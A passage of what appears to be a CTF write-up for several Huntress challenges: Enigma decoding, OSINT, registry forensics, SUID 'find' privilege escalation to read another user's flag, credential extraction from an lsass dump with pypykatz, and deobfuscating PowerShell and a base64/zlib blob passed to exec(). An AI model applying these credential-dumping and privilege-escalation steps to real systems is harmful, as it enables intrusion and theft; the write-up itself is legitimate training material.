base64_string = '==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'

# Decode the base64 string
decoded_data = base64.b64decode(base64_string[::-1])

# Decompress the decoded data
decompressed_data = zlib.decompress(decoded_data)

# Define the underscore variable before executing
_ = lambda __: __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))

# Execute the decompressed data
exec(decompressed_data)

Flag: flag{2543ff1e714bC2eb9ff78128232785ad}

Mystery

Author: Michael Orlino

Category: Warmups

Someone sent this to me… such enigma, such mystery:

1
2
3
4
5
6
7
8
9
rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy

Settings as below:
3 Rotor Model
Rotor 1: VI, Initial: A, Ring A
Rotor 2: I, Initial: Q, Ring A
Rotor 3: III, Initial L, Ring A
Reflector: UKW B
Plugboard: BQ CR DI EJ KW MT OS PX UZ GH

I used CyberChef, which has an Enigma decoder to decode the code above, resulting in the following:

1
2
3
MESSA GEWRA PPEDI NLIGH THIDD ENDEE PEROU TOFSI GHTLO CKING ITMOR ETIGH TANYW AYYOU RFLAG ISHER EFLAG FDFEA BCACB EBFBA DAEFB ECCAA DDDBA FEZZZ

MESSAGE WRAPPED IN LIGHT HIDDEN DEEPER OUT OF SIGHT LOCKING IT MORE TIGHT ANYWAY YOUR FLAG IS HERE FLAG FDFEA BCACB EBFBA DAEFB ECCAA DDDBA FEZZZ

The flag has 35 characters in it. A normal MD5 sum has 32 characters, so I removed the ZZZ from the flag, as it was padding for the flag format.

Flag: flag{fdfeabcacbebfbadaefbeccaadddbafe}

Ran Somwhere

Author: @Spyderwall

Category: OSINT

Thanks for joining the help desk! Here’s your first ticket of the day; can you help the client out?

We are given a ran_somewhere.eml file.

First, I ran eml-analyzer against it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/Downloads]
└─$ emlAnalyzer -i ran_somewhere.eml 
 =================
 ||  Structure  ||
 =================
|- multipart/mixed                       
|  |- multipart/related                  
|  |  |- text/html                       
|  |  |- image/png                         [company logo.png]
|  |  |- text/plain                        [4e 6f 74 65.txt]
|  |  |- application/octet-stream          [66 69 6e 64 20 69 74 20 79 65 74]
|  |  |- application/octet-stream          [69 6d 20 6e 65 61 72 62 79]

 ==================================
 ||  URLs in HTML and text part  ||
 ==================================
 - https://sites.google.com/view/id-10-t/home

 ===============================================
 ||  Reloaded Content (aka. Tracking Pixels)  ||
 ===============================================
[+] No content found which will be reloaded from external resources

 ===================
 ||  Attachments  ||
 ===================
[1] company logo.png                        image/png                       inline
[2] 4e 6f 74 65.txt                         text/plain                      attachment
[3] 66 69 6e 64 20 69 74 20 79 65 74        application/octet-stream        attachment
[4] 69 6d 20 6e 65 61 72 62 79              application/octet-stream        attachment

First, I tried to determine what kind of file I was dealing with:

1
2
3
┌──(kali㉿kali)-[~/Downloads/eml_attachments]
└─$ file 66\ 69\ 6e\ 64\ 20\ 69\ 74\ 20\ 79\ 65\ 74 
66 69 6e 64 20 69 74 20 79 65 74: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [\012- TIFF image data, big-endian, direntries=2], baseline, precision 8, 3024x4032, components 3
1
2
3
┌──(kali㉿kali)-[~/Downloads/eml_attachments]
└─$ file 69\ 6d\ 20\ 6e\ 65\ 61\ 72\ 62\ 79        
69 6d 20 6e 65 61 72 62 79: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, software=Greenshot], baseline, precision 8, 3000x4032, components 3

Since they were both JPEG files, I simply renamed them to 1.jpeg and 2.jpeg.

The text file contained the following data:

1
48 65 79 20 54 68 65 72 65 21 20 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 6d 6f 72 65 20 63 61 72 65 66 75 6c 20 6e 65 78 74 20 74 69 6d 65 20 61 6e 64 20 6e 6f 74 20 6c 65 61 76 65 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 75 6e 6c 6f 63 6b 65 64 20 61 6e 64 20 75 6e 61 74 74 65 6e 64 65 64 21 20 59 6f 75 20 6e 65 76 65 72 20 6b 6e 6f 77 20 77 68 61 74 20 6d 69 67 68 74 20 68 61 70 70 65 6e 2e 20 57 65 6c 6c 20 69 6e 20 74 68 69 73 20 63 61 73 65 2c 20 79 6f 75 20 6c 6f 73 74 20 79 6f 75 72 20 66 6c 61 73 68 20 64 72 69 76 65 2e 20 44 6f 6e 27 74 20 77 6f 72 72 79 2c 20 49 20 77 69 6c 6c 20 6b 65 65 70 20 69 74 20 73 61 66 65 20 61 6e 64 20 73 6f 75 6e 64 2e 20 41 63 74 75 61 6c 6c 79 20 79 6f 75 20 63 6f 75 6c 64 20 73 61 79 20 69 74 20 69 73 20 6e 6f 77 20 27 66 6f 72 74 69 66 69 65 64 27 2e 20 59 6f 75 20 63 61 6e 20 63 6f 6d 65 20 72 65 74 72 69 65 76 65 20 69 74 2c 20 62 75 74 20 79 6f 75 20 67 6f 74 20 74 6f 20 66 69 6e 64 20 69 74 2e 20 49 20 6c 65 66 74 20 61 20 63 6f 75 70 6c 65 20 6f 66 20 66 69 6c 65 73 20 74 68 61 74 20 73 68 6f 75 6c 64 20 68 65 6c 70 2e 0a 2d 20 56 69 67 69 6c 20 41 6e 74 65 

The data is in HEX format, so I used CyberChef to convert it:

1
2
Hey There! You should be more careful next time and not leave your computer unlocked and unattended! You never know what might happen. Well in this case, you lost your flash drive. Don't worry, I will keep it safe and sound. Actually you could say it is now 'fortified'. You can come retrieve it, but you got to find it. I left a couple of files that should help.
- Vigil Ante

In one of the pictures, there is a plate on a building with the partial words “Frederick” and “Recko.” I used a Google search: frederick maryland recko building and looked through the images. After some intense Googling, I finally found a place that looked a lot like the images. It had the same kind of building, and the distinct pathway was the same.

Flag: Bel Air Armory

Zimmer Downloaded

Author: @sudo_Rem

Category: Forensics

A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?

We are given an NTUSER.dat file for this challenge.

I used RegRipper to generate a report for all the interesting information from the registry hive. From the report, I noticed that there were some interesting files that had been recently used.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
recentdocs v.20200427
(NTUSER.DAT) Gets contents of user's RecentDocs key

RecentDocs
**All values printed in MRUList\MRUListEx order.
Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
LastWrite Time: 2024-10-02 02:48:01Z
  26 = Windows
  25 = d2FmZmxld2FmZmxld2FmZmxld2FmZmxl.dll
  24 = passwords.zip
  23 = passwords.dll
  22 = passwords.db
  21 = passwords.ppt
  20 = passwords.docx
  19 = passwords.xlsx
  18 = passwords.txt
  17 = OneDrive
  16 = VJGSuERgCoVhl6mJg1x87faFOPIqacI3Eby4oP5MyBYKQy5paDF.b62
  15 = Videos
  14 = How to find flags.mp4
  13 = Music
  12 = huntress_beats_to_study_and_relax_to.mp3
  2 = Pictures
  4 = just_john.bmp
  1 = john_and_i_on_the_beach.bmp
  3 = john_and_i_at_dinner.bmp
  5 = huntress secrets.txt.txt
  6 = top_secret.zip
  11 = strings
  10 = made_me_redo_this.txt
  9 = files
  8 = notthe_flag.txt
  7 = super_secret_stuff.zip
  0 = &suppressAnimations=false&showFooter=true&allowPageNavigation=true&edgeGestureOffset=0&inputAnimationSourceId=0&inputAnimationProviderId=0

This one, 16 = VJGSuERgCoVhl6mJg1x87faFOPIqacI3Eby4oP5MyBYKQy5paDF.b62, was particularly interesting since it didn’t belong with the rest.

From a quick Google search, it appeared to be a Base62 encoded string.

I decoded it with CyberChef and obtained the flag.

Flag: flag{4b676ccc1070be66b1a15dB601c8d500}

Finders Fee

Author: @JohnHammond

Category: Warmups

You gotta make sure the people who find stuff for you are rewarded well! Escalate your privileges and uncover the flag.txt in the finder user’s home directory.

To solve this challenge, you are supposed to escalate your privileges since the flag is in another user’s directory. From the name of the challenge, it is clear that you are meant to use the find command.

I used find / -perm /6000 to check if /usr/bin/find had permission to the whole filesystem.

Since it had those permissions, I just needed to use the -exec parameter with find to read the flag.

1
2
user@finders-fee-f02070026b7d20d7-67ccc69679-dpnlm:~$ /bin/find -exec cat /home/finder/flag.txt \;
flag{5da1de289823cfc200adf91d6536d914}

Flag: flag{5da1de289823cfc200adf91d6536d914}

Typo

Author: @JohnHammond

Category: Warmups

Gosh darnit, I keep entering a typo in my Linux command prompt!

When you connect to the server using the SSH command, all you see is a train moving across the screen, and then the connection closes.

It is possible to send commands through the initial SSH connection by using the -t parameter. I assumed that the flag.txt was probably in the root directory of the initial connection, and I got lucky.

1
2
3
4
5
──(kali㉿kali)-[~/Downloads/ssh]
└─$ ssh -t -p 31579 user@challenge.ctf.games 'cat flag.txt'
user@challenge.ctf.games's password: 
flag{36a0354fbf59df454596660742bf09eb}
Connection to challenge.ctf.games closed.

Flag: flag{36a0354fbf59df454596660742bf09eb}

Zulu

Author: @JohnHammond Category: Warmups

Did you know that zulu is part of the phonetic alphabet?

We are given a file named zulu. The first thing I did was run the file command on it.

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ file zulu                                      
zulu: compress'd data 16 bits

If you try to uncompress it directly, you encounter the following error:

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ uncompress zulu                 
gzip: zulu: unknown suffix -- ignored

To uncompress this file, we need to append the .z extension to it using the command mv zulu zulu.z, and then try to uncompress it again. Once that is successful, we can retrieve the flag from the file.

Flag: flag{74235a9216ee609538022e6689b4de5c}

Mimi

Author: @JohnHammond

Category: Malware

Uh oh! Mimi forgot her password for her Windows laptop! Luckily, she dumped one of the crucial processes running on her computer (don’t ask me why, okay)… can you help her recover her password?

Using the file command, we can determine what kind of file it is:

1
mimi: Mini DuMP crash report, 18 streams, Tue Sep 10 02:33:22 2024, 0x461826 type

To examine its contents, I used another tool, minidump-stackwalk, to identify what kind of process had been dumped.

1
2
3
4
Loaded modules:
0x1dcaf3d0000 - 0x1dcaf3d2fff  msprivs.dll  6.2.22621.1
0x7ff61b8f0000 - 0x7ff61b901fff  lsass.exe  6.2.22621.3235  (main)
0x7ff9dd4e0000 - 0x7ff9dd510fff  certpoleng.dll  6.2.22621.3672

From this, I assumed it was the lsass.exe file that had been dumped, which contains a user’s password. I then proceeded to use pypykatz, a Python implementation of Mimikatz. I renamed the file to mimi.dmp since I encountered some issues with the tool. However, once I fully updated it, it worked as intended.

1
2
──(kali㉿kali)-[~/huntress/mimi]
└─$ pypykatz lsa minidump mimi.dmp   
1
2
3
4
5
6
7
8
9
10
11
     == MSV ==
                Username: mimi
                Domain: windows11
                LM: NA
                NT: 5e088b316cc30d7b2d0158cb4bd9497c
                SHA1: c1bd67cf651fdbcf27fd155f488721f52fff64fa
                DPAPI: c1bd67cf651fdbcf27fd155f488721f52fff64fa
        == WDIGEST [ad49a]==
                username mimi
                domainname windows11
                password flag{7a565a86761a2b89524bf7bb0d19bcea}

Flag: flag{7a565a86761a2b89524bf7bb0d19bcea}

I Can’t SSH

Author: @JohnHammond

Category: Warmups

I’ve got this private key… but why can’t I SSH?

1
2
3
4
┌──(kali㉿kali)-[~/huntress/ssh]
└─$ ssh -p 32208 user@challenge.ctf.games -i newkey_format
user@i-cant-ssh-4a5a5eae88e5e40b-69d74bf7db-szq6j:~$ cat flag.txt
flag{ee1f28722ec1ce1542aa1b486dbb1361}user@i-cant-ssh-4a5a5eae88e5e40b-69d74bf7db-szq6j:~$ 

Flag: flag{ee1f28722ec1ce1542aa1b486dbb1361}

Obfuscation Station

Author: @resume

Category: Forensics

You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?

You are given an obfuscated PowerShell script that you need to decode to retrieve the flag.

1
(nEW-objECt  SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt  sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')

A quick python script can do the trick.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import zlib

# The obfuscated Base64 string
obfuscated_string = 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA'

# Step 1: Decode the Base64 string
decoded_data = base64.b64decode(obfuscated_string)

# Step 2: Decompress the decoded data using zlib (Deflate)
decompressed_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)

# Step 3: Print the result
print(decompressed_data.decode('ascii'))

When you run the script, you get the following output:

1
2
3
┌──(kali㉿kali)-[~/Downloads/obstation]
└─$ python3 script.py                 
$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"

Flag: flag{3ed675ef0343149723749c34fa910ae4}

The Void

Author: @JohnHammond#6971

Category: Warmups

When you gaze long into the void, the void gazes also into you…

To be honest, I have no idea what’s going on. I am aware that it uses ANSI codes to make the terminal appear like a void. However, I don’t understand why the script sometimes reveals the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import re

# Regex pattern for flag format: flag{[0-9a-f]{32}}
flag_pattern = re.compile(r'flag\{[0-9a-f]{32}\}')

# Function to generate a hex dump of the data
def hex_dump(data):
    hex_data = " ".join(f"{b:02x}" for b in data)
    ascii_data = "".join(chr(b) if 32 <= b < 127 else '.' for b in data)  # Printable ASCII range
    return hex_data, ascii_data

# Main function to connect and read from server
def connect_and_read(host, port, command=None):
    try:
        # Create a socket object
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        
        # Connect to the server
        s.connect((host, port))
        print(f"Connected to {host}:{port}")

        # Continuously receive data from the server
        complete_response = b''  # Store all received data
        while True:
            response = s.recv(8192)  # Buffer size
            if not response:
                break

            # Append to complete response
            complete_response += response

            # Hex dump of the response
            hex_data, ascii_data = hex_dump(response)
            print("Hex Dump of Response:")
            print(hex_data)

        # Process full response
        clean_response = re.sub(r'(?:\x1B[@-_][0-?]*[ -/]*[@-~])', '', complete_response.decode('utf-8', errors='ignore'))
        print("Cleaned Response (without ANSI):")
        print(clean_response)

        # Look for the flag using the provided pattern
        flag_match = flag_pattern.search(clean_response)
        if flag_match:
            print(f"Flag Found: {flag_match.group(0)}")

    except Exception as e:
        print(f"Error: {e}")
    finally:
        # Close the connection
        s.close()

# Specify host, port, and the command to send
host = 'challenge.ctf.games'  # Replace with the actual host
port = 30463  # Replace with the actual port

# Call the function to connect and send command
connect_and_read(host, port,)

The response from the terminal:

1
2
3
4
5
0 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d
Cleaned Response (without ANSI):
m                                                                                                                                                       flag{b1370ac4fadd8c0237f8771d7d77286a}                              
Hex Dump of Response:
1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 3b 34 30 6d 20 1b 5b 30 6d 1b 5b 33 30 

Flag: flag{b1370ac4fadd8c0237f8771d7d77286a}

Linux Basic

Author: @aenygma

Category: Miscellaneous

You’re expected to answer a series of questions to get the flag. To view the questions, and answer them, you’ll use the answer tool. Display questions: answer Answer a question: answer x where x is question number.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/huntress/thevoid]
└─$ nc challenge.ctf.games 30765
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell


 _     _                    ____            _          
| |   (_)_ __  _   ___  __ | __ )  __ _ ___(_) ___ ___ 
| |   | | '_ \| | | \ \/ / |  _ \ / _` / __| |/ __/ __|
| |___| | | | | |_| |>  <  | |_) | (_| \__ \ | (__\__ \
|_____|_|_| |_|\__,_/_/\_\ |____/ \__,_|___/_|\___|___/
                                                       

                Welcome to Linux Basics!

You're expected to answer a series of questions to get the flag.
To view the questions, and answer them, you'll use the `answer` tool.
Display questions: `answer`
Answer a question: `answer x` where x is question number.

linux-basics-2c17429c7432255a-fdc6c5587-g9ntv:~$ answer
answer
Question 0: What's your home directory?
Question 1: Search the man pages. What command would you use to generate random permutations?
Question 2: On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31
Question 3: How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number.
Question 4: What user owns the file /home/user/myfile.txt
Question 5: What's the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777)
Question 6: What is the user id of 'admin'?
Question 7: There is a user 'john' on the system. Can they write to /home/user/myfile.txt? (yes/no)
Question 8: Can the 'admin' user execute /home/user/myfile.txt? (yes/no)
Question 9: Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt?
Question 10: /home/user/myfile.txt looks like a txt file, but it actually isn't. What kind of file is it?

linux-basics-2c17429c7432255a-fdc6c5587-g9ntv:~$ 

Question 0: What’s your home directory?

pwd

Answer: /home/user

Question 1: Search the man pages. What command would you use to generate random permutations?

Answer: shuf

Question 2: On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31

1
2
3
4
5
6
7
8
stat myfile.txt
  File: myfile.txt
  Size: 22200           Blocks: 48         IO Block: 4096   regular file
Device: 50002ah/5242922d        Inode: 405114      Links: 1
Access: (0754/-rwxr-xr--)  Uid: (    0/    root)   Gid: ( 1338/   admin)
Access: 1997-08-29 02:13:00.000000000 -0700
Modify: 1997-08-29 02:13:00.000000000 -0700
Change: 2024-10-17 12:02:54.442947231 -0700

Answer: 1997-08-29

Question 3: How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number.

stat -c %s /home/user/myfile.txt | awk '{printf "%.0f\n", $1/1024}'

Answer: 22

Question 4: What user owns the file /home/user/myfile.txt

1
2
3
4
5
6
7
8
9
linux-basics-2c17429c7432255a-fdc6c5587-g9ntv:~$ ls -la
ls -la
total 48
drwxr-sr-x    1 user     admin         4096 Oct 18 10:46 .
drwxr-xr-x    1 root     root          4096 Sep 30 00:09 ..
-rw-------    1 user     admin          113 Oct 18 10:46 .bash_history
-rw-r--r--    1 root     root           645 Sep 30 00:09 .profile
-rw-r--r--    1 root     root          1732 Sep 30 00:09 README
-rwxr-xr--    1 root     admin        22200 Aug 29  1997 myfile.txt

Answer: root

Question 5: What’s the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777)

1
2
3
Owner: 7
Group: 5
Others: 4

Answer: 754

Question 6: What is the user id of ‘admin’?

grep '^admin:' /etc/passwd

1
2
grep '^admin:' /etc/passwd
admin:x:1338:1338:Linux User,,,:/:/bin/false

Answer: 1338

Question 7: There is a user ‘john’ on the system. Can they write to /home/user/myfile.txt? (yes/no)

1
-rwxr-xr--    1 root     admin        22200 Aug 29  1997 /home/user/myfile.txt

Answer: No

Question 8: Can the ‘admin’ user execute /home/user/myfile.txt? (yes/no)

Answer: Yes

Question 9: Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt?

grep '^admin:' /etc/group

1
admin:x:1338:user,john,rose

Answer: rose

Question 10: /home/user/myfile.txt looks like a txt file, but it actually isn’t. What kind of file is it?

1
2
file myfile.txt
myfile.txt: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 807x114, components 

Answer: jpeg

When you input the last answer, it returns the flag.

Flag: flag{8873fe66f8e7a6019d7d71261864f6c5}

Keyboard Junkie

Author: @JohnHammond

Category: Forensics

My friend wouldn’t shut up about his new keyboard, so…

First, I opened the file in Wireshark and filtered it to show only the HID data in the PCAP file. I extracted that data to a new PCAP file and then ran this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys
from scapy.all import PcapReader, Raw

def print_raw_packets(pcap_file):
    with PcapReader(pcap_file) as pcap:
        packet_number = 0
        for packet in pcap:
            packet_number += 1
            if Raw in packet:
                raw_data = bytes(packet[Raw])
                print(f"Packet {packet_number}: {raw_data.hex()}")  # Print raw bytes in hex format
            else:
